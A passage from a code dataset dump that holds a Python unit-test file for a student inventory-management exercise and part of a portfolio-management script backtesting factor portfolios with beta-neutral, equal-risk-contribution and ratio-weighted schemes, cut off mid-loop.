}}/broad-status.py","file_name":"broad-status.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"327496418","text":"\"\"\"unit test\"\"\"\nfrom unittest import TestCase\nfrom unittest.mock import patch\nfrom unittest.mock import MagicMock\nfrom inventory_management.inventory_class import Inventory\nfrom inventory_management.furniture_class import Furniture\nfrom inventory_management.electric_appliance_class import ElectricAppliances\nfrom inventory_management import main\nfrom inventory_management import market_prices\n\n\nclass inventory_test(TestCase):\n \"\"\"unit test for inventory and its sub classes\"\"\"\n\n def setUp(self):\n \"\"\"set up instance of each sub class\"\"\"\n self.furniture = Furniture(100, \"test chair\",\n 20, (1.5, \"day\"),\n \"wood\", \"Large\")\n\n self.appliance = ElectricAppliances(200, \"test lamp\",\n 30, (2.5, \"day\"),\n \"basic\", \"110V\")\n self.appliance_expected_output = {\n \"product_code\": 200,\n \"description\": \"test lamp\",\n \"market_price\": 30,\n \"rental_price\": (2.5, \"day\"),\n \"brand\": \"basic\",\n \"voltage\": \"110V\",\n }\n self.furniture_expected_output = {\n \"product_code\": 100,\n \"description\": \"test chair\",\n \"market_price\": 20,\n \"rental_price\": (1.5, \"day\"),\n \"material\": \"wood\",\n \"size\": \"Large\",\n }\n\n def test_electric_appliances(self):\n\n self.assertDictEqual(self.appliance.return_as_dictionary(), self.appliance_expected_output)\n\n def test_furniture(self):\n\n self.assertDictEqual(self.furniture.return_as_dictionary(), self.furniture_expected_output)\n\n\nclass test_market_price(TestCase):\n\n def test_get_latest_price_mock(self):\n \"\"\"a mock test\"\"\"\n market_prices.get_latest_price = MagicMock(return_value=3)\n market_prices.get_latest_price()\n market_prices.get_latest_price.assert_called()\n market_prices.get_latest_price.assert_called_once()\n self.assertEqual(3, market_prices.get_latest_price())\n\n def test_get_latest_price_patch_a(self):\n \"\"\"a patch test as context manager\"\"\"\n with patch(\"market_prices.get_latest_price\") as mocked_get_price:\n market_prices.get_latest_price()\n mocked_get_price.assert_called()\n mocked_get_price.assert_called_once()\n\n @patch('market_prices.get_latest_price')\n def test_get_latest_price_patch_b(self, mocked_get_price):\n \"\"\"a patch test as decorator\"\"\"\n\n market_prices.get_latest_price()\n mocked_get_price.assert_called()\n mocked_get_price.assert_called_once()\n\n\nclass test_main(TestCase):\n \"\"\"unit test for main.py\"\"\"\n\n \"\"\" This class handles test cases for the main test file \"\"\"\n\n @patch('builtins.input', lambda *args: '1')\n def test_main_menu_goes_to_add_new_item(self):\n self.assertEqual(main.main_menu(), main.main_menu('1'))\n\n @patch('builtins.input', lambda *args: '2')\n def test_main_menu_goes_to_get_item_info(self):\n self.assertEqual(main.main_menu(), main.main_menu('2'))\n\n @patch('builtins.input', lambda *args: 'q')\n def test_main_menu_goes_to_quit(self):\n self.assertEqual(main.main_menu(), main.main_menu('q'))\n\n def test_get_price_of_item(self):\n self.assertEqual(main.get_price(), 24)\n\n def test_get_info_of_non_existent_item(self):\n with patch('builtins.input', return_value='0'):\n main.item_info()\n\n def test_get_info_of_item(self):\n with patch('builtins.input', side_effect=['1', 'fake', '100', 'N', 'N']):\n main.add_new_item()\n with patch('builtins.input', return_value='1'):\n main.item_info()\n\n # def test_sys_exit(self):\n # with patch(\"\")\n\n @staticmethod\n def test_add_new_generic_item():\n with patch('builtins.input', side_effect=['2', 'fake', '100', 'N', 'N']):\n main.add_new_item()\n\n @staticmethod\n def test_add_new_furniture_item():\n with patch('builtins.input', side_effect=['3', 'fake', '100', 'Y', 'Wool', 'L']):\n main.add_new_item()\n\n @staticmethod\n def test_add_new_electric_appliance_item():\n with patch('builtins.input', side_effect=['4', 'fake', '100', 'Y', 'GE', '120V']):\n main.add_new_item()\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"students/LincolnZ/lesson01/assignment/tests/test_unit.py","file_name":"test_unit.py","file_ext":"py","file_size_in_byte":4842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"103421936","text":"import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom scipy.optimize import linprog\r\nfrom scipy.optimize import minimize\r\nimport pymprog\r\nfrom statsmodels import regression\r\nimport statsmodels.api as sm\r\nimport statsmodels.formula.api as smf\r\n\r\n\r\ndef long_short(filename,buy_high=True):\r\n data = pd.read_csv(filename)\r\n data['Month'] = pd.to_datetime(data['Month'],format ='%Y%m')\r\n data = data.set_index('Month')\r\n \r\n if buy_high:\r\n data['SMALL'] = (data.iloc[:,2] - data.iloc[:,0])\r\n data['BIG'] = (data.iloc[:,5] - data.iloc[:,3])\r\n \r\n else:\r\n data['SMALL'] = (-data.iloc[:,2] + data.iloc[:,0])\r\n data['BIG'] = (-data.iloc[:,5] + data.iloc[:,3])\r\n \r\n return data\r\n\r\n\r\ndef beta(data,market_data):\r\n data['MARKET'] = market_data['MARKET'] \r\n column_beta = [data.columns[i] for i in [0,2,3,5,6,7]]\r\n a=[]\r\n for i in column_beta: \r\n a.append(i+'_BETA')\r\n data[i+'_BETA'] = pd.rolling_cov(data[i],data['MARKET'],window=36)/pd.rolling_var(data['MARKET'],window=36)\r\n \r\n for i in column_beta[:4]:\r\n data[i+'_ALPHA'] = data[i] -data[i+'_BETA']* data['MARKET']\r\n \r\n return data.dropna(),a[:4]\r\n\r\ndef beta_neutral_2(data,a,buy_high=True):\r\n\r\n b = [j[:-5]+'_ALPHA' for j in a]\r\n c = [j[:-5] for j in a]\r\n performance=[]\r\n for i in range(len(data)-1):\r\n beta1,beta2,beta3,beta4= data.iloc[i][a]\r\n alpha1,alpha2,alpha3,alpha4 = data.iloc[i][b]\r\n r1,r2,r3,r4 = data.iloc[i+1][c]\r\n \r\n target = np.array([alpha1,alpha2,alpha3,alpha4])\r\n \r\n if buy_high:\r\n \r\n results = linprog(-target,\r\n A_eq=[[beta1,beta2,beta3,beta4],[1,0,1,0],[0,1,0,1]],\r\n b_eq=[0,-1,1],\r\n bounds=((-1,0),(0,1),(-1,0),(0,1)))\r\n \r\n if not 'successfully' in results.message:\r\n cons = ({'type': 'eq', 'fun': lambda p:beta1*p[0]+beta2*p[1]+beta3*p[2]+beta4*p[3]},\r\n {'type': 'eq', 'fun': lambda p:p[1]+p[3]-1},\r\n {'type': 'eq', 'fun': lambda p:p[0]+p[2]+1},\r\n {'type': 'ineq', 'fun': lambda p:p[0]+1},\r\n {'type': 'ineq', 'fun': lambda p:p[2]+1},\r\n {'type': 'ineq', 'fun': lambda p:1-p[1]},\r\n {'type': 'ineq', 'fun': lambda p:1-p[3]})\r\n \r\n results = minimize(fun=alpha_sum, \r\n x0=[-0.5,0.5,-0.5,0.5], \r\n method='SLSQP', \r\n constraints=cons,\r\n args=(alpha1,alpha2,alpha3,alpha4)) \r\n \r\n \r\n \r\n else:\r\n results = linprog(-target,\r\n A_eq=[[beta1,beta2,beta3,beta4],[1,0,1,0],[0,1,0,1]],\r\n b_eq=[0,1,-1],\r\n bounds=((0,1),(-1,0),(0,1),(-1,0)))\r\n if not 'successfully' in results.message:\r\n cons = ({'type': 'eq', 'fun': lambda p:beta1*p[0]+beta2*p[1]+beta3*p[2]+beta4*p[3]},\r\n {'type': 'eq', 'fun': lambda p:p[0]+p[2]-1},\r\n {'type': 'eq', 'fun': lambda p:p[1]+p[3]+1},\r\n {'type': 'ineq', 'fun': lambda p:p[1]+1},\r\n {'type': 'ineq', 'fun': lambda p:p[3]+1},\r\n {'type': 'ineq', 'fun': lambda p:1-p[0]},\r\n {'type': 'ineq', 'fun': lambda p:1-p[2]})\r\n \r\n \r\n results = minimize(fun=alpha_sum, \r\n x0=[0.5,-0.5,0.5,-0.5], \r\n method='SLSQP', \r\n constraints=cons,\r\n args=(alpha1,alpha2,alpha3,alpha4))\r\n\r\n \r\n \r\n rho1,rho2,rho3,rho4 = list(results.x)\r\n \r\n performance.append(r1*rho1+r2*rho2+r3*rho3+r4*rho4)\r\n \r\n output=pd.DataFrame()\r\n output['Beta_Neutral_Performance'] = pd.Series(performance)\r\n output.index = data.index[1:]\r\n \r\n return output\r\n\r\n\r\ndef alpha_sum(p,alpha1,alpha2,alpha3,alpha4):\r\n return -(alpha1*p[0]+alpha2*p[1]+alpha3*p[2]+alpha4*p[3])\r\n\r\n\r\ndef erc(df,look_back):\r\n origin_columns = list(df.columns)\r\n \r\n cov_name = []\r\n data=pd.DataFrame()\r\n data[origin_columns] = df[origin_columns]\r\n for a in origin_columns:\r\n for b in origin_columns:\r\n data[a+'_'+b+'_cov'] = df[a].rolling(window=look_back).cov(df[b])\r\n cov_name.append(a+'_'+b+'_cov')\r\n \r\n data = data.dropna()\r\n erc_df = data[origin_columns]\r\n \r\n x1=[]\r\n x2=[]\r\n x3=[]\r\n x4=[]\r\n x5=[]\r\n x6=[]\r\n x7=[]\r\n\r\n x_all = [x1,x2,x3,x4,x5,x6,x7]\r\n \r\n for i in range(len(data)):\r\n cov_array = np.array(data.iloc[i][cov_name])\r\n cons = ({'type': 'eq', 'fun': lambda x:x[0]+x[1]+x[2]+x[3]+x[4]+x[5]+x[6]-1})\r\n results = minimize(fun=erc_target, x0=[0,0,0,0,0,0,0], method='SLSQP', \r\n constraints=cons,args=cov_array,bounds = ((0,1),(0,1),(0,1),(0,1),(0,1),(0,1),(0,1))) \r\n \r\n for j in range(7):\r\n x_all[j].append(results.x[j])\r\n \r\n weights_columns = [f+'_weight' for f in origin_columns]\r\n \r\n for num in range(7):\r\n weights_columns = [f+'_weight' for f in origin_columns]\r\n\r\n erc_df[weights_columns[num]] = pd.Series(x_all[num],index=erc_df.index)\r\n \r\n simple_list = []\r\n erc_list=[]\r\n \r\n for i in range(len(erc_df)-1):\r\n simple_list.append(sum(erc_df.iloc[i+1][origin_columns])/7)\r\n\r\n w1,w2,w3,w4,w5,w6,w7 = erc_df.iloc[i][weights_columns]\r\n r1,r2,r3,r4,r5,r6,r7 = erc_df.iloc[i+1][origin_columns]\r\n \r\n erc_list.append(w1*r1+w2*r2+w3*r3+w4*r4+w5*r5+w6*r6+w7*r7)\r\n \r\n return erc_df,simple_list,erc_list\r\n \r\n\r\ndef erc_target(x,cov_array):\r\n x_array = x.reshape(7,1)\r\n #cov_array = cov_array*(10**14)\r\n cov_matrix = cov_array.reshape(7,7)\r\n \r\n total_risk = np.dot(cov_matrix,x_array)\r\n \r\n x2=[]\r\n for i in range(7):\r\n x2.append((total_risk[i][0])*x_array[i][0])\r\n \r\n var_sum = np.var(np.array(x2))\r\n return var_sum*(10**14)\r\n\r\n\r\n\r\ndef sharpe_ratio_equal(df,market_data,look_back,long_only=False):\r\n origin_columns = list(df.columns)\r\n simple_list=[]\r\n \r\n data=pd.DataFrame()\r\n data[origin_columns] = df[origin_columns]\r\n\r\n data['RF'] = market_data['RF']\r\n sr_columns = [factor+'_SR' for factor in origin_columns]\r\n for factor in origin_columns:\r\n data[factor+'_RF'] = data[factor]-data['RF']\r\n data[factor+'_SR'] = data[factor+'_RF'].rolling(window=look_back).mean()\\\r\n /data[factor].rolling(window=look_back).std()\r\n \r\n data=data.dropna()\r\n \r\n performance = []\r\n for i in range(len(data)-1):\r\n if not long_only:\r\n sr_list = list(data.iloc[i][sr_columns])\r\n else:\r\n sr_list = [i if i>0 else 0 for i in data.iloc[i][sr_columns]]\r\n \r\n sr_sum = np.array(sr_list).sum()\r\n \r\n simple_list.append(sum(data.iloc[i+1][origin_columns])/7)\r\n if sr_sum == 0:\r\n performance.append(0)\r\n \r\n else:\r\n w1,w2,w3,w4,w5,w6,w7= np.array(sr_list)/sr_sum\r\n r1,r2,r3,r4,r5,r6,r7 = data.iloc[i+1][origin_columns]\r\n\r\n performance.append(w1*r1+w2*r2+w3*r3+w4*r4+w5*r5+w6*r6+w7*r7)\r\n \r\n return data,performance,simple_list\r\n\r\n\r\ndef average_mean_equal(df,market_data,look_back,long_only=False):\r\n origin_columns = list(df.columns)\r\n simple_list=[]\r\n \r\n data=pd.DataFrame()\r\n data[origin_columns] = df[origin_columns]\r\n\r\n data['RF'] = market_data['RF']\r\n sr_columns = [factor+'_MEAN' for factor in origin_columns]\r\n\r\n for factor in origin_columns:\r\n data[factor+'_RF'] = data[factor]-data['RF']\r\n data[factor+'_MEAN'] = data[factor].rolling(window=look_back).mean()\r\n \r\n data=data.dropna()\r\n \r\n performance = []\r\n for i in range(len(data)-1):\r\n if not long_only:\r\n sr_list = list(data.iloc[i][sr_columns])\r\n else:\r\n sr_list = [i if i>0 else 0 for i in data.iloc[i][sr_columns]]\r\n \r\n sr_sum = np.array(sr_list).sum()\r\n \r\n if sr_sum == 0 :\r\n performance.append(0)\r\n else:\r\n w1,w2,w3,w4,w5,w6,w7= np.array(sr_list)/sr_sum\r\n r1,r2,r3,r4,r5,r6,r7 = data.iloc[i+1][origin_columns]\r\n\r\n performance.append(w1*r1+w2*r2+w3*r3+w4*r4+w5*r5+w6*r6+w7*r7) \r\n \r\n return performance\r\n \r\n \r\ndef information_ratio_equal(df,market_data,look_back,long_only=False):\r\n origin_columns = list(df.columns)\r\n simple_list=[]\r\n \r\n data=pd.DataFrame()\r\n data[origin_columns] = df[origin_columns]\r\n\r\n data['MARKET'] = market_data['MARKET']\r\n sr_columns = [factor+'_IR' for factor in origin_columns]\r\n for factor in origin_columns:\r\n data[factor+'_M'] = data[factor]-data['MARKET']\r\n data[factor+'_IR'] = data[factor+'_M'].rolling(window=look_back).mean()\\\r\n /data[factor+'_M'].rolling(window=look_back).std()\r\n \r\n data=data.dropna()\r\n \r\n performance = []\r\n for i in range(len(data)-1):\r\n if not long_only:\r\n sr_list = list(data.iloc[i][sr_columns])\r\n else:\r\n sr_list = [i if i>0 else 0 for i in data.iloc[i][sr_columns]]\r\n \r\n sr_sum = np.array(sr_list).sum()\r\n \r\n if sr_sum == 0:\r\n performance.append(0)\r\n \r\n else:\r\n \r\n w1,w2,w3,w4,w5,w6,w7= np.array(sr_list)/sr_sum\r\n r1,r2,r3,r4,r5,r6,r7 = data.iloc[i+1][origin_columns]\r\n\r\n performance.append(w1*r1+w2*r2+w3*r3+w4*r4+w5*r5+w6*r6+w7*r7)\r\n\r\n return performance\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n#########################################################################\r\n\r\ndef main():\r\n #--------------------------------------------------------------------\r\n #### Question 1\r\n # 1.1 Long-short portfolios\r\n '''\r\n Please change filepaths here.\r\n '''\r\n data1 = long_short('D:/PortfolioManagement/EW/BP_EW.csv')\r\n data2 = long_short('D:/PortfolioManagement/EW/CFP_EW.csv')\r\n data3 = long_short('D:/PortfolioManagement/EW/DP_EW.csv')\r\n data4 = long_short('D:/PortfolioManagement/EW/INV_EW.csv',False)\r\n data5 = long_short('D:/PortfolioManagement/EW/OP_EW.csv')\r\n data6 = long_short('D:/PortfolioManagement/EW/MOMENTUM_PRIOR_1_EW.csv',False)\r\n data7 = long_short('D:/PortfolioManagement/EW/MOMENTUM_PRIOR_12_2_EW.csv')\r\n\r\n\r\n\r\n data_list = [data1,data2,data3,data4,data5,data6,data7]\r\n factor_list = ['BP','CFP','DP','INV','OP','Prior 1','Prior 12-2']\r\n\r\n plt.figure(figsize=(20,12))\r\n\r\n for i in range(7):\r\n data = data_list[i]\r\n plt.subplot(3,3,i+1)\r\n plt.plot(data.index,data['SMALL'].cumsum()/100)\r\n plt.plot(data.index,data['BIG'].cumsum()/100)\r\n plt.legend(['SMALL)','BIG'])\r\n plt.title(factor_list[i],fontsize = 15)\r\n plt.grid(True)\r\n \r\n plt.show()\r\n\r\n\r\n # Combine\r\n plt.figure(figsize=(25,8))\r\n plt.subplot(1,2,1)\r\n for i in range(7):\r\n data = data_list[i]\r\n plt.plot(data.index,data['SMALL'].cumsum()/100)\r\n plt.legend(factor_list)\r\n plt.title('Small Sized Portfolios',fontsize=20)\r\n plt.grid(True)\r\n\r\n plt.subplot(1,2,2)\r\n for i in range(7):\r\n data = data_list[i]\r\n plt.plot(data.index,data['BIG'].cumsum()/100)\r\n plt.legend(factor_list)\r\n plt.title('Big Sized Portfolios',fontsize=20)\r\n plt.grid(True)\r\n\r\n plt.show()\r\n\r\n\r\n # Combine with shortest time period\r\n index_min = data4.index\r\n plt.figure(figsize=(25,8))\r\n plt.subplot(1,2,1)\r\n for i in range(7):\r\n data = data_list[i].loc[index_min,:]\r\n plt.plot(data.index,data['SMALL'].cumsum()/100)\r\n plt.legend(factor_list)\r\n plt.grid(True)\r\n plt.title('Small Sized Portfolios',fontsize=20)\r\n\r\n plt.subplot(1,2,2)\r\n for i in range(7):\r\n data = data_list[i].loc[index_min,:]\r\n plt.plot(data.index,data['BIG'].cumsum()/100)\r\n plt.legend(factor_list)\r\n plt.grid(True)\r\n plt.title('Big Sized Portfolios',fontsize=20)\r\n\r\n plt.show()\r\n\r\n\r\n # Statistics Summary\r\n big = pd.DataFrame()\r\n small = pd.DataFrame()\r\n market_data = pd.read_csv('D:/PortfolioManagement/F-F.csv')\r\n market_data['MARKET'] = market_data['Mkt-RF'] + market_data['RF']\r\n market_data['Month'] = pd.to_datetime(market_data['Month'],format ='%Y%m')\r\n market_data = market_data.set_index('Month')\r\n\r\n import numpy as np\r\n\r\n index_min_1 = data4.index\r\n\r\n for i in range(7):\r\n data=data_list[i].loc[index_min_1,:]\r\n data['RF'] = market_data['RF']\r\n data['MARKET'] = market_data['MARKET']\r\n data['RM_RF'] = market_data['Mkt-RF']\r\n data['SMB'] = market_data['SMB']\r\n data['HML'] = market_data['HML']\r\n data['BIG_RF'] = data['BIG'] - data['RF']\r\n data['SMALL_RF'] = data['SMALL'] - data['RF']\r\n\r\n SMB = np.array(data['SMB'])\r\n HML = np.array(data['HML'])\r\n RM_RF = np.array(data['RM_RF'])\r\n \r\n X = np.column_stack((RM_RF,SMB,HML))\r\n \r\n Y_BIG = np.array(data['BIG_RF'] ).T\r\n Y_SMALL = np.array(data['SMALL_RF'] ).T\r\n \r\n X = sm.add_constant(X)\r\n MODEL_BIG = regression.linear_model.OLS(Y_BIG, X).fit()\r\n MODEL_SMALL = regression.linear_model.OLS(Y_SMALL, X).fit()\r\n\r\n data_big = data['BIG']\r\n data_small = data['SMALL']\r\n data_big_2 = data['BIG']-data['RF']\r\n data_small_2 = data['SMALL']-data['RF']\r\n data_big_3 = data['BIG']-data['MARKET']\r\n data_small_3 = data['SMALL']-data['MARKET']\r\n \r\n factor = factor_list[i] \r\n \r\n rm_rf_mean = RM_RF.mean()\r\n rf_mean = data['RF'].mean()\r\n \r\n big.loc['Average Returns',factor] = data_big.mean()\r\n big.loc['Std',factor] = np.std(data_big)\r\n big.loc['Sharpe Ratio',factor] = data_big_2.mean()/np.std(data_big)\r\n big.loc['Alpha',factor] = MODEL_BIG.params[0] \r\n big.loc['Beta',factor] = MODEL_BIG.params[1]\r\n big.loc['Treynor Ratio',factor] = data_big_2.mean()/MODEL_BIG.params[1]\r\n big.loc['Jensen Measure',factor] = data_big.mean()-rf_mean-MODEL_BIG.params[1]*rm_rf_mean\r\n big.loc['Information Ratio',factor] = data_big_3.mean()/np.std(data_big_3)\r\n \r\n small.loc['Average Returns',factor] = data_small.mean()\r\n small.loc['Std',factor] = np.std(data_small)\r\n small.loc['Sharpe Ratio',factor] = data_small_2.mean()/np.std(data_small)\r\n small.loc['Alpha',factor] = MODEL_SMALL.params[0]\r\n small.loc['Beta',factor] = MODEL_SMALL.params[1]\r\n small.loc['Treynor Ratio',factor] = data_small_2.mean()/MODEL_SMALL.params[1]\r\n small.loc['Jensen Measure',factor] = data_small.mean()-rf_mean-MODEL_SMALL.params[1]*rm_rf_mean\r\n small.loc['Information Ratio',factor] = data_small_3.mean()/np.std(data_small_3)\r\n\r\n\r\n print(small)\r\n print(big)\r\n\r\n\r\n ### 1.2 Market Beta\r\n\r\n market_data = pd.read_csv('D:/PortfolioManagement/F-F.csv')\r\n market_data['MARKET'] = market_data['Mkt-RF'] + market_data['RF']\r\n market_data['Month'] = pd.to_datetime(market_data['Month'],format ='%Y%m')\r\n market_data = market_data.set_index('Month')\r\n\r\n data1,a1 = beta(data1,market_data)\r\n data2,a2 = beta(data2,market_data)\r\n data3,a3 = beta(data3,market_data)\r\n data4,a4 = beta(data4,market_data)\r\n data5,a5 = beta(data5,market_data)\r\n data6,a6 = beta(data6,market_data)\r\n data7,a7 = beta(data7,market_data)\r\n\r\n a_list = [a1,a2,a3,a4,a5,a6,a7]\r\n data_list=[data1,data2,data3,data4,data5,data6,data7]\r\n\r\n plt.figure(figsize=(20,12))\r\n\r\n for i in range(7):\r\n data = data_list[i]\r\n plt.subplot(3,3,i+1)\r\n plt.plot(data.index,data['SMALL_BETA'])\r\n plt.plot(data.index,data['BIG_BETA'])\r\n plt.legend(['SMALL-β','BIG-β'])\r\n plt.title(factor_list[i],fontsize = 15)\r\n plt.grid(True)\r\n \r\n plt.show()\r\n\r\n\r\n ### 1.3 Beta Neutral\r\n output1 = beta_neutral_2(data1,a1)\r\n output2= beta_neutral_2(data2,a2)\r\n output3 = beta_neutral_2(data3,a3)\r\n output4 = beta_neutral_2(data4,a4,False)\r\n output5 = beta_neutral_2(data5,a5)\r\n output6 = beta_neutral_2(data6,a6,False)\r\n output7 = beta_neutral_2(data7,a7)\r\n\r\n data_list = [data1,data2,data3,data4,data5,data6,data7]\r\n output_list = [output1,output2,output3,output4,output5,output6,output7]\r\n\r\n\r\n # Plots\r\n\r\n plt.figure(figsize=(20,12))\r\n\r\n for i in range(7):\r\n output=output_list[i]\r\n plt.subplot(3,3,i+1)\r\n plt.plot(output.index,output['Beta_Neutral_Performance'].cumsum()/100)\r\n plt.legend(['Beta Neutral Portfolio'])\r\n plt.title(factor_list[i],fontsize = 15)\r\n plt.grid(True)\r\n \r\n plt.show()\r\n\r\n\r\n # Combine\r\n plt.figure(figsize=(12,6))\r\n index_min_2 = data4.index[1:]\r\n for i in range(7):\r\n output = output_list[i].loc[index_min_2,:]\r\n plt.plot(output.index,output['Beta_Neutral_Performance'].cumsum()/100)\r\n plt.legend(factor_list)\r\n plt.title('Beta Neutral Portfolios for Seven Factors',fontsize = 15)\r\n plt.grid(True)\r\n plt.show()\r\n \r\n\r\n # Statistics Summary\r\n output_2 = pd.DataFrame()\r\n\r\n\r\n import numpy as np\r\n\r\n for i in range(7):\r\n data = output_list[i].loc[index_min_2,:]\r\n data['RF'] = market_data['RF']\r\n data['MARKET'] = market_data['MARKET']\r\n data['RM_RF'] = market_data['Mkt-RF']\r\n data['SMB'] = market_data['SMB']\r\n data['HML'] = market_data['HML']\r\n data['BIG_RF'] = data['Beta_Neutral_Performance'] - data['RF']\r\n\r\n SMB = np.array(data['SMB'])\r\n HML = np.array(data['HML'])\r\n RM_RF = np.array(data['RM_RF'])\r\n \r\n X = np.column_stack((RM_RF,SMB,HML))\r\n \r\n Y = np.array(data['Beta_Neutral_Performance'] ).T \r\n X = sm.add_constant(X)\r\n MODEL = regression.linear_model.OLS(Y, X).fit()\r\n\r\n data_p = data['Beta_Neutral_Performance']\r\n data_p_2 = data['Beta_Neutral_Performance']-data['RF']\r\n data_p_3 = data['Beta_Neutral_Performance']-data['MARKET']\r\n \r\n factor = factor_list[i] \r\n \r\n rm_rf_mean = RM_RF.mean()\r\n rf_mean = data['RF'].mean()\r\n \r\n output_2.loc['Average Returns',factor] = data_p.mean()\r\n output_2.loc['Std',factor] = np.std(data_p)\r\n output_2.loc['Sharpe Ratio',factor] = data_p_2.mean()/np.std(data_p)\r\n output_2.loc['Alpha',factor] = MODEL.params[0] \r\n output_2.loc['Beta',factor] = MODEL.params[1]\r\n output_2.loc['Treynor Ratio',factor] = data_p_2.mean()/MODEL.params[1]\r\n output_2.loc['Jensen Measure',factor] = data_p.mean()-rf_mean-MODEL.params[1]*rm_rf_mean\r\n output_2.loc['Information Ratio',factor] = data_p_3.mean()/np.std(data_p_3)\r\n\r\n print(output_2)\r\n\r\n\r\n\r\n\r\n\r\n #===========================================================================\r\n ##### Question 2\r\n ### ERC\r\n df = pd.DataFrame()\r\n\r\n for i in range(7):\r\n df[factor_list[i]] =( data_list[i]['SMALL']+data_list[i]['BIG'])/2\r\n df = df.dropna()\r\n\r\n erc_df_1,simple_1,erc_list_1 = erc(df,60)\r\n look_back = [1,2,3,4,5]\r\n erc_df_all=[]\r\n simple_all=[]\r\n erc_all=[]\r\n\r\n plt.figure(figsize=(12,6))\r\n idx = erc_df_1.index[1:]\r\n plt.plot(idx,pd.Series(simple_1).cumsum()/100)\r\n plt.plot(idx,pd.Series(erc_list_1).cumsum()/100)\r\n plt.legend(['Static Equally Weighted Portfolio','Equal Risk Contribution Portfolio'])\r\n plt.title('5-Year Look Back Period',fontsize = 15)\r\n plt.grid(True)\r\n plt.show()\r\n\r\n ### ERC Weights\r\n weights_columns = [i+'_weight' for i in factor_list]\r\n\r\n plt.figure(figsize=(25,15))\r\n for i in range(7):\r\n w = weights_columns[i]\r\n plt.subplot(4,2,i+1)\r\n plt.plot(erc_df_1.index,erc_df_1[w])\r\n plt.legend([factor_list[i]+'-weight'])\r\n plt.title(factor_list[i],fontsize = 18)\r\n plt.grid(True)\r\n \r\n plt.show()\r\n\r\n\r\n ### ERC for [1,2,3,4,5] year look back periods\r\n\r\n for i in range(5):\r\n year = look_back[i]\r\n erc_df,simple,erc_list = erc(df,12*year)\r\n erc_df_all.append(erc_df)\r\n simple_all.append(simple)\r\n erc_all.append(erc_list)\r\n\r\n\r\n plt.figure(figsize=(23,10))\r\n\r\n for i in range(5):\r\n year = look_back[i]\r\n erc_df = erc_df_all[i]\r\n simple = simple_all[i]\r\n erc_list = erc_all[i]\r\n plt.subplot(2,3,i+1)\r\n plt.plot(erc_df.index[1:],pd.Series(simple).cumsum()/100)\r\n plt.plot(erc_df.index[1:],pd.Series(erc_list).cumsum()/100)\r\n plt.legend(['Static Equally Weighted Portfolio','Equal Risk Contribution Portfolio'])\r\n plt.title(str(year)+'-Year Look Back Period',fontsize = 16)\r\n plt.grid(True)\r\n \r\n plt.show()\r\n\r\n ### Correlation\r\n df.corr()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n #========================================================\r\n ### Question 3\r\n ### Factor persistance\r\n market_data = pd.read_csv('D:/PortfolioManagement/F-F.csv')\r\n market_data['MARKET'] = market_data['Mkt-RF'] + market_data['RF']\r\n market_data['Month'] = pd.to_datetime(market_data['Month'],format ='%Y%m')\r\n market_data = market_data.set_index('Month')\r\n\r\n df = pd.DataFrame()\r\n\r\n for i in range(7):\r\n df[factor_list[i]] =( data_list[i]['SMALL']+data_list[i]['BIG'])/2\r\n df = df.dropna()\r\n\r\n look_back_periods = [1,2,3,4,5]\r\n\r\n sharpe_ratio_long_short = []\r\n sharpe_ratio_long_only = []\r\n\r\n average_mean_long_short = []\r\n average_mean_long_only = []\r\n\r\n information_ratio_long_short = []\r\n information_ratio_long_only = []\r\n\r\n simple_all = []\r\n df_all=[]\r\n erc_all_data=[]\r\n\r\n for year in look_back_periods:\r\n look_back =year*12\r\n erc_df,simple,erc_list = erc(df,12*year)\r\n erc_all_data.append(erc_list)\r\n \r\n \r\n data,x11,x12 = sharpe_ratio_equal(df,market_data,look_back,long_only=False)\r\n sharpe_ratio_long_short.append(x11)\r\n simple_all.append(x12)\r\n df_all.append(data)\r\n \r\n data,x21,x22 = sharpe_ratio_equal(df,market_data,look_back,long_only=True)\r\n \r\n sharpe_ratio_long_only.append(x21)\r\n \r\n average_mean_long_short.append(average_mean_equal(df,market_data,look_back,long_only=False))\r\n average_mean_long_only.append(average_mean_equal(df,market_data,look_back,long_only=True))\r\n \r\n information_ratio_long_short.append(information_ratio_equal(df,market_data,look_back,long_only=False))\r\n information_ratio_long_only.append(information_ratio_equal(df,market_data,look_back,long_only=True))\r\n plt.figure(figsize=(23,10))\r\n\r\n output_combine = []\r\n\r\n for i in range(5):\r\n year = look_back_periods[i]\r\n sr = sharpe_ratio_long_only[i]\r\n am = average_mean_long_only[i]\r\n ir = information_ratio_long_only[i]\r\n si = simple_all[i]\r\n new_df = df_all[i]\r\n idx = new_df.index[1:]\r\n erc_list = erc_all_data[i]\r\n \r\n plt.subplot(2,3,i+1)\r\n plt.plot(idx,pd.Series(sr).cumsum()/100)\r\n plt.plot(idx,pd.Series(am).cumsum()/100)\r\n plt.plot(idx,pd.Series(ir).cumsum()/100)\r\n plt.plot(idx,pd.Series(erc_list).cumsum()/100)\r\n plt.plot(idx,pd.Series(si).cumsum()/100)\r\n plt.title(str(year)+'-Year Look Back Period',fontsize = 18)\r\n \r\n plt.legend(['Sharpe Ratio Weighted','Past Returns Weighted',\\\r\n 'Information Ratio Weighted','Equal Risk Contribution','Simple Equally Weighted'])\r\n\r\n plt.grid(True)\r\n \r\n data = pd.DataFrame()\r\n data['sr'] = pd.Series(sr,index=idx)\r\n data['am'] = pd.Series(am,index=idx)\r\n data['ir'] = pd.Series(ir,index=idx)\r\n data['erc'] = pd.Series(erc_list,index=idx)\r\n data['si'] = pd.Series(si,index=idx)\r\n \r\n \r\n \r\n data['RF'] = market_data['RF']\r\n data['MARKET'] = market_data['MARKET']\r\n data['RM_RF'] = market_data['Mkt-RF']\r\n data['SMB'] = market_data['SMB']\r\n data['HML'] = market_data['HML']\r\n\r\n SMB = np.array(data['SMB'])\r\n HML = np.array(data['HML'])\r\n RM_RF = np.array(data['RM_RF'])\r\n \r\n X = np.column_stack((RM_RF,SMB,HML))\r\n X = sm.add_constant(X)\r\n \r\n factor_list_2 = ['sr','am','ir','erc','si']\r\n factor_full_name = ['Sharpe Ratio Weighted','Past Returns Weighted',\\\r\n 'Information Ratio Weighted','Equal Risk Contribution','Simple Equally Weighted']\r\n \r\n output_3 = pd.DataFrame()\r\n for j in 